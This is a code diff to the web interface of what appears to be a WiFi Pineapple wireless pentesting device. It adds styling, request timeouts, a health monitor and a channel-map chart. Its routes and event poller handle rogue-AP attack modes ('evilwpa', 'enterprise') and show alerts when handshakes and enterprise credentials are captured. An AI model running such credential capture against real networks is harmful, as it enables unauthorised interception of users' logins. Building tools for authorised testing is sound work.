.recon-map-box .recon-no-data { min-height: 60px; }
|
||||
.recon-map-tip {
|
||||
position: absolute; z-index: 20; min-width: 220px; max-width: 260px;
|
||||
background: var(--surface); border: 1px solid var(--border); border-radius: 3px;
|
||||
box-shadow: var(--shadow); padding: 8px 10px; pointer-events: none; font-size: 12px;
|
||||
color: var(--text);
|
||||
}
|
||||
.recon-map-tip-row { padding: 3px 0; border-bottom: 1px solid var(--border); }
|
||||
.recon-map-tip-row:last-child { border-bottom: 0; }
|
||||
.recon-map-tip-ssid { font-weight: 600; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
|
||||
.recon-map-tip-meta { color: var(--muted); font-size: 11px; font-variant-numeric: tabular-nums; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
|
||||
|
||||
/* ---- Reports view ---- */
|
||||
.wigle-warn { color: #ef6c00; font-size: 12px; }
|
||||
|
||||
/* ---- Mark VII handshakes table + settings dialog ---- */
|
||||
.hs-cell-center { text-align: center; }
|
||||
.hs-ok, .hs-bad, .hs-na { display: inline-flex; vertical-align: middle; }
|
||||
@@ -419,6 +513,7 @@ html.dark .modal { background: #303030; }
|
||||
.pineap-infobox { border-radius: 2px; padding: 10px 12px; margin-top: 10px; font-size: 13px; display: flex; flex-direction: column; gap: 8px; }
|
||||
.pineap-infobox.error { background: #fdecea; color: #b71c1c; border: 1px solid #f5c6cb; }
|
||||
.pineap-infobox.info { background: #e3f2fd; color: #0d47a1; border: 1px solid #90caf9; }
|
||||
.pineap-infobox.warn { background: #fff8e1; color: #f57f17; border: 1px solid #ffe082; }
|
||||
.pineap-infobox-actions { display: flex; gap: 8px; flex-wrap: wrap; }
|
||||
html.dark .pineap-infobox.error { background: #4a2020; color: #ffb4a9; border-color: #6b2d2d; }
|
||||
html.dark .pineap-infobox.info { background: #10263a; color: #9cc7f0; border-color: #1d3a54; }
|
||||
@@ -474,6 +569,27 @@ html.dark .pineap-infobox.info { background: #10263a; color: #9cc7f0; border-col
|
||||
.settings-diagnostics { max-height: 520px; white-space: pre-wrap; word-break: break-word; }
|
||||
.settings-card > .switch { display: flex; margin: 10px 0; color: var(--text); font-size: 13px; }
|
||||
.settings-card a { color: var(--primary); }
|
||||
|
||||
/* ---- WiFi client mode ---- */
|
||||
.client-status { display: grid; grid-template-columns: repeat(auto-fit, minmax(220px, 1fr)); gap: 4px 20px; }
|
||||
.client-kv { display: flex; align-items: center; justify-content: space-between; gap: 12px; border-bottom: 1px solid var(--border); padding: 6px 0; font-size: 13px; }
|
||||
.client-kv > span { color: var(--muted); }
|
||||
.client-actions { display: flex; gap: 8px; flex-wrap: wrap; margin: 12px 0 4px; }
|
||||
.client-networks { display: flex; flex-direction: column; gap: 6px; margin-top: 8px; max-height: 320px; overflow-y: auto; }
|
||||
.client-net-row { display: flex; align-items: center; gap: 12px; padding: 9px 10px; border: 1px solid var(--border); border-radius: 3px; }
|
||||
.client-net-main { flex: 1; min-width: 0; display: flex; flex-direction: column; }
|
||||
.client-net-ssid { font-weight: 500; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
|
||||
.client-net-enc { font-size: 11px; color: var(--muted); }
|
||||
.client-net-signal { color: var(--muted); font-size: 12px; white-space: nowrap; }
|
||||
.client-connect-form { display: flex; gap: 8px; align-items: center; flex-wrap: wrap; width: 100%; }
|
||||
.client-connect-form input[type=password] { flex: 1 1 160px; }
|
||||
.client-routing { display: flex; align-items: center; gap: 8px; margin: 8px 0 0; color: var(--text); font-size: 13px; }
|
||||
.client-routing.hidden { display: none; }
|
||||
.client-connect-form .client-routing { margin: 0; }
|
||||
.client-modal { width: 560px; }
|
||||
@media (max-width: 700px) {
|
||||
.client-modal { min-width: 0; width: auto; }
|
||||
}
|
||||
@media (max-width: 700px) {
|
||||
.tabbar { overflow-x: auto; flex-wrap: nowrap; }
|
||||
.tabbar .tab { flex: 0 0 auto; }
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
<meta name="color-scheme" content="light dark">
|
||||
<title>WiFi Pineapple</title>
|
||||
<link rel="icon" type="image/png" href="assets/logo.png">
|
||||
<link rel="stylesheet" href="css/app.css?v=20260811-9">
|
||||
<link rel="stylesheet" href="css/app.css?v=20260819-1">
|
||||
<link rel="stylesheet" href="js/xterm.css">
|
||||
</head>
|
||||
<body>
|
||||
@@ -26,6 +26,7 @@
|
||||
<span id="brand-text" class="brand-text">Mark VIII</span>
|
||||
<span class="toolbar-spacer"></span>
|
||||
<span id="live-status"></span>
|
||||
<span id="health-status" class="health-chip"></span>
|
||||
<div class="toolbar-action">
|
||||
<button id="notifications-btn" class="toolbar-icon-btn" type="button" title="Notifications"
|
||||
aria-label="Notifications" aria-haspopup="menu" aria-controls="notifications-menu" aria-expanded="false"></button>
|
||||
@@ -260,14 +261,14 @@
|
||||
<div id="toast-container"></div>
|
||||
|
||||
<script src="js/config.js"></script>
|
||||
<script src="js/icons.js?v=20260811-6"></script>
|
||||
<script src="js/api.js?v=20260811-3"></script>
|
||||
<script src="js/chart.js"></script>
|
||||
<script src="js/icons.js?v=20260818-7"></script>
|
||||
<script src="js/api.js?v=20260819-2"></script>
|
||||
<script src="js/chart.js?v=20260819-1"></script>
|
||||
<script src="js/xterm.min.js"></script>
|
||||
<script src="js/xterm-addon-fit.min.js"></script>
|
||||
<script src="js/terminal.js"></script>
|
||||
<script src="js/pager.js"></script>
|
||||
<script src="js/views.js?v=20260811-11"></script>
|
||||
<script src="js/app.js?v=20260811-9"></script>
|
||||
<script src="js/views.js?v=20260819-2"></script>
|
||||
<script src="js/app.js?v=20260819-1"></script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -3,13 +3,32 @@
|
||||
const PagerAPI = (() => {
|
||||
let apiBase = '';
|
||||
let on401 = null;
|
||||
// Reads are polled and must never hang a page's refresh loop; writes have
|
||||
// server-side timeouts up to 45s (radio deploys) so they get no client
|
||||
// abort.
|
||||
const GET_TIMEOUT_MS = 20000;
|
||||
async function request(method, path, body) {
|
||||
const opts = { method, headers: {}, credentials: 'include' };
|
||||
if (body !== undefined) {
|
||||
opts.headers['Content-Type'] = 'application/json';
|
||||
opts.body = JSON.stringify(body);
|
||||
}
|
||||
const res = await fetch(apiBase + path, opts);
|
||||
const ctl = new AbortController();
|
||||
const timer = method === 'GET' ? setTimeout(() => ctl.abort(), GET_TIMEOUT_MS) : null;
|
||||
if (timer) opts.signal = ctl.signal;
|
||||
let res;
|
||||
try {
|
||||
res = await fetch(apiBase + path, opts);
|
||||
} catch (e) {
|
||||
if (timer && e && e.name === 'AbortError') {
|
||||
const error = new Error('Request timed out');
|
||||
error.status = 0;
|
||||
throw error;
|
||||
}
|
||||
throw e;
|
||||
} finally {
|
||||
if (timer) clearTimeout(timer);
|
||||
}
|
||||
if (res.status === 401) {
|
||||
if (on401) on401();
|
||||
throw new Error('unauthorized');
|
||||
@@ -23,7 +42,9 @@ const PagerAPI = (() => {
|
||||
data = await res.text();
|
||||
}
|
||||
if (!res.ok) {
|
||||
const message = data && data.error ? data.error : ('HTTP ' + res.status);
|
||||
const detail = data && typeof data.detail === 'string' ? data.detail : '';
|
||||
const message = (data && data.error ? data.error : ('HTTP ' + res.status)) +
|
||||
(detail ? ': ' + detail : '');
|
||||
const error = new Error(message);
|
||||
error.status = res.status;
|
||||
error.data = data;
|
||||
|
||||
@@ -33,6 +33,7 @@ const App = (() => {
|
||||
{ key: 'recon', label: 'Recon', hash: '#/recon', icon: 'recon' },
|
||||
{ key: 'logging', label: 'Logging', hash: '#/logging', icon: 'logging' },
|
||||
{ key: 'modules', label: 'Payloads', hash: '#/modules', icon: 'modules' },
|
||||
{ key: 'harness', label: 'Harness', hash: '#/harness', icon: 'robot' },
|
||||
{ key: 'settings', label: 'Settings', hash: '#/settings', icon: 'settings' }
|
||||
];
|
||||
const railDividers = new Set(['logging']);
|
||||
@@ -83,7 +84,22 @@ const App = (() => {
|
||||
|
||||
function route() {
|
||||
closeToolbarMenus();
|
||||
const hash = location.hash || '#/dashboard';
|
||||
let hash = (location.hash || '#/dashboard').replace(/\/+$/, '');
|
||||
if (hash === '#/recon/survey') {
|
||||
location.hash = '#/recon';
|
||||
return;
|
||||
}
|
||||
if (hash.indexOf('#/attacks') === 0) {
|
||||
const map = {
|
||||
'#/attacks': '#/pineap',
|
||||
'#/attacks/wpa': '#/pineap/evilwpa',
|
||||
'#/attacks/open': '#/pineap/open',
|
||||
'#/attacks/enterprise': '#/pineap/enterprise'
|
||||
};
|
||||
hash = map[hash] || '#/pineap';
|
||||
location.replace(hash);
|
||||
return;
|
||||
}
|
||||
const name = routes[hash];
|
||||
if (currentView && currentView.destroy) currentView.destroy();
|
||||
els.content.innerHTML = '';
|
||||
@@ -233,7 +249,8 @@ const App = (() => {
|
||||
location.hash = '#/settings/advanced';
|
||||
toast('Update controls are available in Advanced settings');
|
||||
} else if (action === 'internet') {
|
||||
checkInternet(true);
|
||||
if (typeof views.openClientModeModal === 'function') views.openClientModeModal();
|
||||
else checkInternet(true);
|
||||
} else if (action === 'logout') {
|
||||
PagerAPI.post('/api/logout')
|
||||
.then(() => showLogin())
|
||||
@@ -389,12 +406,14 @@ const App = (() => {
|
||||
const routes = {
|
||||
'#/dashboard': 'dashboard',
|
||||
'#/pineap': 'pineap',
|
||||
'#/pineap/open': 'pineap_open',
|
||||
'#/pineap/evilwpa': 'pineap_evilwpa',
|
||||
'#/pineap/enterprise': 'pineap_enterprise',
|
||||
'#/pineap/open': 'pineap_open',
|
||||
'#/pineap/impersonation': 'pineap_impersonation',
|
||||
'#/pineap/clients': 'pineap_clients',
|
||||
'#/pineap/filtering': 'pineap_filtering',
|
||||
'#/recon': 'recon',
|
||||
'#/recon/reports': 'recon_reports',
|
||||
'#/recon/handshakes': 'recon_handshakes',
|
||||
'#/logging': 'logging',
|
||||
'#/logging/system': 'logging_system',
|
||||
@@ -407,11 +426,13 @@ const App = (() => {
|
||||
'#/settings/wifi': 'settings_wifi',
|
||||
'#/settings/led': 'settings_led',
|
||||
'#/settings/advanced': 'settings_advanced',
|
||||
'#/settings/help': 'settings_help'
|
||||
'#/settings/help': 'settings_help',
|
||||
'#/harness': 'harness'
|
||||
};
|
||||
|
||||
return { init, route, toast, showLogin, wsUrl: (p) => WS_BASE + p, terminalWs: TERMINAL_WS,
|
||||
pagerScreenWs: PAGER_SCREEN_WS, pagerKeysWs: PAGER_KEYS_WS, apiBase: API_BASE,
|
||||
return { init, route, toast, showLogin, checkInternet, wsUrl: (p) => WS_BASE + p,
|
||||
terminalWs: TERMINAL_WS, pagerScreenWs: PAGER_SCREEN_WS,
|
||||
pagerKeysWs: PAGER_KEYS_WS, apiBase: API_BASE,
|
||||
keyOf, railItems, go: (h) => { location.hash = h; },
|
||||
get key() { return keyOf(location.hash); } };
|
||||
})();
|
||||
@@ -420,6 +441,10 @@ const Live = (() => {
|
||||
let ws = null;
|
||||
let ever = false;
|
||||
let poll = null;
|
||||
let pollHealthTimer = null;
|
||||
let pollEventsTimer = null;
|
||||
const lastEvents = { hsSeen: {}, hsPrimed: false, creds: null, credsPrimed: false,
|
||||
pineapUp: null, mon0: null, mon1: null };
|
||||
const subs = [];
|
||||
let timer = null;
|
||||
function stopPoll() {
|
||||
@@ -428,6 +453,14 @@ const Live = (() => {
|
||||
function start() {
|
||||
if (ws && (ws.readyState === WebSocket.OPEN || ws.readyState === WebSocket.CONNECTING)) return;
|
||||
stopPoll();
|
||||
if (!pollHealthTimer) {
|
||||
pollHealthTimer = setInterval(pollHealth, 15000);
|
||||
pollHealth();
|
||||
}
|
||||
if (!pollEventsTimer) {
|
||||
pollEventsTimer = setInterval(pollEvents, 15000);
|
||||
pollEvents();
|
||||
}
|
||||
try { ws = new WebSocket(App.wsUrl('/api/ws')); }
|
||||
catch (e) { fallback(); return; }
|
||||
ws.onopen = () => { ever = true; };
|
||||
@@ -475,6 +508,58 @@ const Live = (() => {
|
||||
const el = document.getElementById('live-status');
|
||||
if (el) el.textContent = 'BAT ' + (b.level == null ? '--' : b.level + '%' + (b.charging ? '+' : '')) + ' CLIENTS ' + n;
|
||||
}
|
||||
function pollHealth() {
|
||||
fetch(App.apiBase + '/api/health', { credentials: 'include' }).then((r) => r.json())
|
||||
.then((h) => {
|
||||
const el = document.getElementById('health-status');
|
||||
if (!el) return;
|
||||
if (h.pineap_up === false) {
|
||||
el.textContent = 'PINEAPD DOWN';
|
||||
el.className = 'health-chip bad';
|
||||
} else if (h.pool_disabled) {
|
||||
el.textContent = 'POOL OFF';
|
||||
el.className = 'health-chip warn';
|
||||
} else if (h.pineap_up) {
|
||||
el.textContent = 'PINEAP OK';
|
||||
el.className = 'health-chip good';
|
||||
}
|
||||
const prev = lastEvents;
|
||||
if (prev.pineapUp === false && h.pineap_up) {
|
||||
toast('PineAPd recovered', 'success');
|
||||
} else if (prev.pineapUp === true && h.pineap_up === false) {
|
||||
toast('PineAPd is down — health monitor is repairing it', 'error');
|
||||
}
|
||||
lastEvents.pineapUp = !!h.pineap_up;
|
||||
const monState = [h.wlan0mon_up, h.wlan1mon_up];
|
||||
if (prev.mon0 === true && monState[0] === false) toast('wlan0mon went down', 'error');
|
||||
if (prev.mon1 === true && monState[1] === false) toast('wlan1mon went down', 'error');
|
||||
lastEvents.mon0 = !!monState[0];
|
||||
lastEvents.mon1 = !!monState[1];
|
||||
}).catch(() => {});
|
||||
}
|
||||
function pollEvents() {
|
||||
Promise.all([
|
||||
fetch(App.apiBase + '/api/pineap/handshakes', { credentials: 'include' }).then((r) => r.json()).catch(() => ({})),
|
||||
fetch(App.apiBase + '/api/attacks/status', { credentials: 'include' }).then((r) => r.json()).catch(() => ({}))
|
||||
]).then(([hs, atk]) => {
|
||||
const files = (hs && hs.files) || [];
|
||||
const fresh = files.filter((f) => !lastEvents.hsSeen[f.name]);
|
||||
if (lastEvents.hsPrimed && fresh.length) {
|
||||
fresh.forEach((f) => {
|
||||
const bssid = (f.name.match(/^[0-9]+_([0-9A-F]+)_/) || [])[1] || '';
|
||||
toast('Handshake captured: ' + (bssid || f.name), 'success');
|
||||
});
|
||||
}
|
||||
files.forEach((f) => { lastEvents.hsSeen[f.name] = true; });
|
||||
lastEvents.hsPrimed = true;
|
||||
const creds = ((atk.enterprise || {}).creds) == null ? null : atk.enterprise.creds;
|
||||
if (lastEvents.credsPrimed && creds !== null && creds > lastEvents.creds) {
|
||||
toast('Enterprise credential captured (' + (creds - lastEvents.creds) + ' new)', 'success');
|
||||
}
|
||||
if (creds !== null) lastEvents.creds = creds;
|
||||
lastEvents.credsPrimed = true;
|
||||
}).catch(() => {});
|
||||
}
|
||||
function onTick(fn) {
|
||||
subs.push(fn);
|
||||
return () => {
|
||||
|
||||
@@ -10,7 +10,10 @@ const MiniChart = (() => {
|
||||
ctx.setTransform(dpr, 0, 0, dpr, 0, 0);
|
||||
const w = canvas.clientWidth, h = 140;
|
||||
ctx.clearRect(0, 0, w, h);
|
||||
const max = Math.max(o.max || 10, ...series.map((s) => Math.max(...s.points, 0)), 1);
|
||||
const oMin = o.min == null ? 0 : o.min;
|
||||
const max = Math.max(o.max || 10, ...series.map((s) => Math.max(...s.points, oMin)), oMin + 1);
|
||||
const min = Math.min(oMin, ...series.map((s) => Math.min(...s.points, oMin)));
|
||||
const span = Math.max(max - min, 1);
|
||||
const pad = 8;
|
||||
ctx.strokeStyle = o.grid || '#e0e0e0';
|
||||
ctx.lineWidth = 1;
|
||||
@@ -28,14 +31,14 @@ const MiniChart = (() => {
|
||||
pts.forEach((v, i) => {
|
||||
if (v == null) { started = false; return; }
|
||||
const x = pad + (w - pad * 2) * i / Math.max(pts.length - 1, 1);
|
||||
const y = h - pad - (h - pad * 2) * (v / max);
|
||||
const y = h - pad - (h - pad * 2) * ((v - min) / span);
|
||||
if (!started) { ctx.moveTo(x, y); started = true; } else ctx.lineTo(x, y);
|
||||
});
|
||||
ctx.stroke();
|
||||
const last = pts[pts.length - 1];
|
||||
if (last != null) {
|
||||
const x = pad + (w - pad * 2) * (pts.length - 1) / Math.max(pts.length - 1, 1);
|
||||
const y = h - pad - (h - pad * 2) * (last / max);
|
||||
const y = h - pad - (h - pad * 2) * ((last - min) / span);
|
||||
ctx.fillStyle = s.color || '#1976d2';
|
||||
ctx.beginPath(); ctx.arc(x, y, 3, 0, Math.PI * 2); ctx.fill();
|
||||
}
|
||||
@@ -133,5 +136,132 @@ const MiniChart = (() => {
|
||||
});
|
||||
}
|
||||
|
||||
return { draw, doughnut, bar };
|
||||
function chanToMhz(band, ch) {
|
||||
const n = Number(ch);
|
||||
if (band === '2.4') return 2407 + 5 * n;
|
||||
if (band === '5') return 5000 + 5 * n;
|
||||
if (band === '6') return 5950 + 5 * n;
|
||||
return null;
|
||||
}
|
||||
|
||||
function bandRange(band) {
|
||||
if (band === '2.4') return [2400, 2500];
|
||||
if (band === '5') return [5150, 5900];
|
||||
if (band === '6') return [5925, 7125];
|
||||
return null;
|
||||
}
|
||||
|
||||
function hexA(hex, alpha) {
|
||||
const m = /^#([0-9a-f]{6})$/i.exec(hex || '');
|
||||
if (!m) return hex;
|
||||
const n = parseInt(m[1], 16);
|
||||
return 'rgba(' + ((n >> 16) & 255) + ',' + ((n >> 8) & 255) + ',' + (n & 255) + ',' + alpha + ')';
|
||||
}
|
||||
|
||||
// Channel map: each AP is a raised-cosine lobe at its reported center
|
||||
// frequency with the peak at its signal strength. The radio does not report
|
||||
// channel width, so every lobe assumes 20 MHz (half-width +-10 MHz).
|
||||
// Lobe geometry (CSS px) is recorded on the canvas so the caller can
|
||||
// hit-test pointer position against the networks under the cursor.
|
||||
function channelMap(canvas, aps, opts) {
|
||||
const o = opts || {};
|
||||
const dpr = window.devicePixelRatio || 1;
|
||||
const H = o.height || 180;
|
||||
canvas.width = canvas.clientWidth * dpr;
|
||||
canvas.height = H * dpr;
|
||||
const ctx = canvas.getContext('2d');
|
||||
ctx.setTransform(dpr, 0, 0, dpr, 0, 0);
|
||||
const w = canvas.clientWidth, h = H;
|
||||
ctx.clearRect(0, 0, w, h);
|
||||
canvas.__reconLobes = [];
|
||||
if (!aps || !aps.length) return;
|
||||
const pts = aps
|
||||
.map((a) => ({
|
||||
freq: a.freq != null ? Number(a.freq) : chanToMhz(a.band, a.channel),
|
||||
sig: a.signal
|
||||
}))
|
||||
.filter((p) => p.freq != null && p.sig != null);
|
||||
if (!pts.length) return;
|
||||
const def = bandRange(aps[0].band);
|
||||
const lo = Math.min(def ? def[0] : Infinity, ...pts.map((p) => p.freq));
|
||||
const hi = Math.max(def ? def[1] : -Infinity, ...pts.map((p) => p.freq));
|
||||
const fMin = lo - 10, fMax = hi + 10;
|
||||
const padL = 42, padR = 10, padT = 14, padB = 24;
|
||||
const plotW = w - padL - padR, plotH = h - padT - padB;
|
||||
const YMIN = -100, YMAX = -30;
|
||||
const x = (f) => padL + (f - fMin) / (fMax - fMin) * plotW;
|
||||
const y = (dbm) => padT + (1 - (dbm - YMIN) / (YMAX - YMIN)) * plotH;
|
||||
ctx.font = '10px Roboto, "Segoe UI", Arial, sans-serif';
|
||||
ctx.textAlign = 'right';
|
||||
for (let dbm = YMIN; dbm <= YMAX; dbm += 10) {
|
||||
const yy = y(dbm);
|
||||
ctx.strokeStyle = o.grid || '#e0e0e0';
|
||||
ctx.lineWidth = 1;
|
||||
ctx.beginPath(); ctx.moveTo(padL, yy); ctx.lineTo(w - padR, yy); ctx.stroke();
|
||||
ctx.fillStyle = '#888';
|
||||
ctx.fillText(String(dbm), padL - 6, yy + 3);
|
||||
}
|
||||
ctx.strokeStyle = o.grid || '#e0e0e0';
|
||||
for (let f = Math.ceil(fMin / 20) * 20; f <= fMax; f += 20) {
|
||||
ctx.beginPath(); ctx.moveTo(x(f), padT); ctx.lineTo(x(f), h - padB); ctx.stroke();
|
||||
}
|
||||
const baseY = h - padB;
|
||||
aps.forEach((a) => {
|
||||
const freq = a.freq != null ? Number(a.freq) : chanToMhz(a.band, a.channel);
|
||||
if (freq == null || a.signal == null) return;
|
||||
const color = a.color || '#1976d2';
|
||||
const cx = x(freq);
|
||||
const topY = y(a.signal);
|
||||
const peakH = Math.max(2, baseY - topY);
|
||||
const half = Math.max(4, (10 / (fMax - fMin)) * plotW);
|
||||
canvas.__reconLobes.push({ ap: a, cx: cx, half: half, topY: topY, baseY: baseY });
|
||||
ctx.beginPath();
|
||||
for (let i = 0; i <= 28; i++) {
|
||||
const t = -1 + i / 14;
|
||||
const lift = Math.max(0, 0.5 + 0.5 * Math.cos(Math.PI * t));
|
||||
const px = cx + t * half;
|
||||
const py = baseY - lift * peakH;
|
||||
if (i === 0) ctx.moveTo(px, py);
|
||||
else ctx.lineTo(px, py);
|
||||
}
|
||||
ctx.closePath();
|
||||
ctx.fillStyle = hexA(color, 0.35);
|
||||
ctx.fill();
|
||||
ctx.strokeStyle = color;
|
||||
ctx.lineWidth = 1.5;
|
||||
ctx.stroke();
|
||||
});
|
||||
// Hit test: list networks whose lobe is under (mx, my) in CSS px.
|
||||
canvas.__reconLobesHit = function (mx, my, padPx) {
|
||||
const pad = padPx == null ? 4 : padPx;
|
||||
const hits = [];
|
||||
(this.__reconLobes || []).forEach((l) => {
|
||||
const dx = mx - l.cx;
|
||||
if (Math.abs(dx) > l.half + 2) return;
|
||||
const t = Math.min(1, Math.max(-1, dx / l.half));
|
||||
const lift = Math.max(0, 0.5 + 0.5 * Math.cos(Math.PI * t));
|
||||
const lobeTop = l.baseY - lift * (l.baseY - l.topY);
|
||||
if (my >= lobeTop - pad && my <= l.baseY + pad) hits.push(l.ap);
|
||||
});
|
||||
return hits;
|
||||
};
|
||||
let lastLabelX = -Infinity;
|
||||
ctx.textAlign = 'center';
|
||||
aps.forEach((a) => {
|
||||
const freq = a.freq != null ? Number(a.freq) : chanToMhz(a.band, a.channel);
|
||||
if (freq == null || a.channel == null) return;
|
||||
const cx = x(freq);
|
||||
if (cx - lastLabelX < 34) return;
|
||||
lastLabelX = cx;
|
||||
ctx.strokeStyle = '#999';
|
||||
ctx.beginPath(); ctx.moveTo(cx, h - padB); ctx.lineTo(cx, h - padB + 4); ctx.stroke();
|
||||
ctx.fillStyle = '#666';
|
||||
ctx.fillText('CH ' + a.channel, cx, h - 7);
|
||||
});
|
||||
ctx.textAlign = 'left';
|
||||
ctx.fillStyle = '#888';
|
||||
ctx.fillText((aps[0].band || '?') + ' GHz', padL + 4, padT + 2);
|
||||
}
|
||||
|
||||
return { draw, doughnut, bar, channelMap };
|
||||
})();
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
'use strict';
|
||||
|
||||
window.PineappleIcons = {
|
||||
attack: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2L15,9L22,12L15,15L12,22L9,15L2,12L9,9L12,2M12,6.5L10.5,10.5L6.5,12L10.5,13.5L12,17.5L13.5,13.5L17.5,12L13.5,10.5L12,6.5Z"/></svg>',
|
||||
dashboard: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,16A3,3 0 0,1 9,13C9,11.88 9.61,10.9 10.5,10.39L20.21,4.77L14.68,14.35C14.18,15.33 13.17,16 12,16M12,3C13.81,3 15.5,3.5 16.97,4.32L14.87,5.53C14,5.19 13,5 12,5A8,8 0 0,0 4,13C4,15.21 4.89,17.21 6.34,18.65H6.35C6.74,19.04 6.74,19.67 6.35,20.06C5.96,20.45 5.32,20.45 4.93,20.07V20.07C3.12,18.26 2,15.76 2,13A10,10 0 0,1 12,3M22,13C22,15.76 20.88,18.26 19.07,20.07V20.07C18.68,20.45 18.05,20.45 17.66,20.06C17.27,19.67 17.27,19.04 17.66,18.65V18.65C19.11,17.2 20,15.21 20,13C20,12 19.81,11 19.46,10.1L20.67,8C21.5,9.5 22,11.18 22,13Z"/></svg>',
|
||||
pineap: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,21L15.6,16.2C16.2,15.4 16.8,14.5 17.2,13.6C18.1,11.5 18,9 18,9C18,6.5 16.5,4.3 15,3.5C13.5,2.7 10.5,2.7 9,3.5C7.5,4.3 6,6.5 6,9C6,9 5.9,11.5 6.8,13.6C7.2,14.5 7.8,15.4 8.4,16.2L12,21M12,5.5C13.4,5.5 14.5,6.6 14.5,8C14.5,9.4 13.4,10.5 12,10.5C10.6,10.5 9.5,9.4 9.5,8C9.5,6.6 10.6,5.5 12,5.5M7.1,13.1C7.1,13.1 8.2,14 12,14C15.8,14 16.9,13.1 16.9,13.1L15.9,12.1C15.9,12.1 14.8,12.8 12,12.8C9.2,12.8 8.1,12.1 8.1,12.1L7.1,13.1M12,17C10,17 9,17.6 9,17.6L10.3,19.3C10.3,19.3 11.1,19 12,19C12.9,19 13.7,19.3 13.7,19.3L15,17.6C15,17.6 14,17 12,17Z"/></svg>',
|
||||
recon: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M11,6H13V13H11V6M9,20A1,1 0 0,1 8,21H5A1,1 0 0,1 4,20V15L6,6H10V13A1,1 0 0,1 9,14V20M10,5H7V3H10V5M15,20V14A1,1 0 0,1 14,13V6H18L20,15V20A1,1 0 0,1 19,21H16A1,1 0 0,1 15,20M14,5V3H17V5H14Z"/></svg>',
|
||||
@@ -9,12 +10,14 @@ window.PineappleIcons = {
|
||||
settings: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M21 11.11V7A2 2 0 0 0 19 5H15V3A2 2 0 0 0 13 1H9A2 2 0 0 0 7 3V5H3A2 2 0 0 0 1 7V18A2 2 0 0 0 3 20H10.26A7 7 0 1 0 21 11.11M9 3H13V5H9M19 20A5 5 0 0 1 13 20A5 5 0 1 1 19 20M15 13H16.5V15.82L18.94 17.23L18.19 18.53L15 16.69V13"/></svg>',
|
||||
chevron: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M7.41,15.41L12,10.83L16.59,15.41L18,14L12,8L6,14L7.41,15.41Z"/></svg>',
|
||||
terminal: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M20,19V7H4V19H20M20,3A2,2 0 0,1 22,5V19A2,2 0 0,1 20,21H4A2,2 0 0,1 2,19V5C2,3.89 2.9,3 4,3H20M13,17V15H18V17H13M9.58,13L5.57,9H8.4L11.7,12.3C12.09,12.69 12.09,13.33 11.7,13.72L8.42,17H5.59L9.58,13Z"/></svg>',
|
||||
robot: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A2,2 0 0,1 14,4C14,4.74 13.6,5.39 13,5.73V7H14A7,7 0 0,1 21,14H22A1,1 0 0,1 23,15V18A1,1 0 0,1 22,19H21V20A2,2 0 0,1 19,22H5A2,2 0 0,1 3,20V19H2A1,1 0 0,1 1,18V15A1,1 0 0,1 2,14H3A7,7 0 0,1 10,7H11V5.73C10.4,5.39 10,4.74 10,4A2,2 0 0,1 12,2M7.5,13A2.5,2.5 0 0,0 5,15.5A2.5,2.5 0 0,0 7.5,18A2.5,2.5 0 0,0 10,15.5A2.5,2.5 0 0,0 7.5,13M16.5,13A2.5,2.5 0 0,0 14,15.5A2.5,2.5 0 0,0 16.5,18A2.5,2.5 0 0,0 19,15.5A2.5,2.5 0 0,0 16.5,13M12,20A2,2 0 0,0 14,18H10A2,2 0 0,0 12,20Z"/></svg>',
|
||||
wifi: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M1,9L3,11C8,6 16,6 21,11L23,9C17,3 7,3 1,9M5,13L7,15C10,12.5 14,12.5 17,15L19,13C15,9 9,9 5,13M9,17L12,21L15,17C13.34,15.67 10.66,15.67 9,17Z"/></svg>',
|
||||
extension: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M20.5,11H19V7C19,5.89 18.1,5 17,5H13V3.5A2.5,2.5 0 0,0 10.5,1A2.5,2.5 0 0,0 8,3.5V5H4A2,2 0 0,0 2,7V10.8H3.5C5,10.8 6.2,12 6.2,13.5C6.2,15 5,16.2 3.5,16.2H2V20A2,2 0 0,0 4,22H7.8V20.5C7.8,19 9,17.8 10.5,17.8C12,17.8 13.2,19 13.2,20.5V22H17A2,2 0 0,0 19,20V16H20.5A2.5,2.5 0 0,0 23,13.5A2.5,2.5 0 0,0 20.5,11Z"/></svg>',
|
||||
receipt: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M14,17H4V15H14V17M14,13H4V11H14V13M14,9H4V7H14V9M18,13V11H16V9H18V7H20V9H22V11H20V13H18M20,3H2A2,2 0 0,0 0,5V19A2,2 0 0,0 2,21H20A2,2 0 0,0 22,19V17H20V19H2V5H20V3Z"/></svg>',
|
||||
refresh: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M17.65,6.35C16.2,4.9 14.21,4 12,4A8,8 0 0,0 4,12A8,8 0 0,0 12,20C15.73,20 18.84,17.45 19.73,14H17.65C16.83,16.33 14.61,18 12,18A6,6 0 0,1 6,12A6,6 0 0,1 12,6C13.66,6 15.14,6.69 16.22,7.78L13,11H20V4L17.65,6.35Z"/></svg>',
|
||||
file_download: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M19,9H15V3H9V9H5L12,16L19,9M5,18V20H19V18H5Z"/></svg>',
|
||||
delete: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M6,19C6,20.1 6.9,21 8,21H16C17.1,21 18,20.1 18,19V7H6V19M19,4H15.5L14.5,3H9.5L8.5,4H5V6H19V4Z"/></svg>',
|
||||
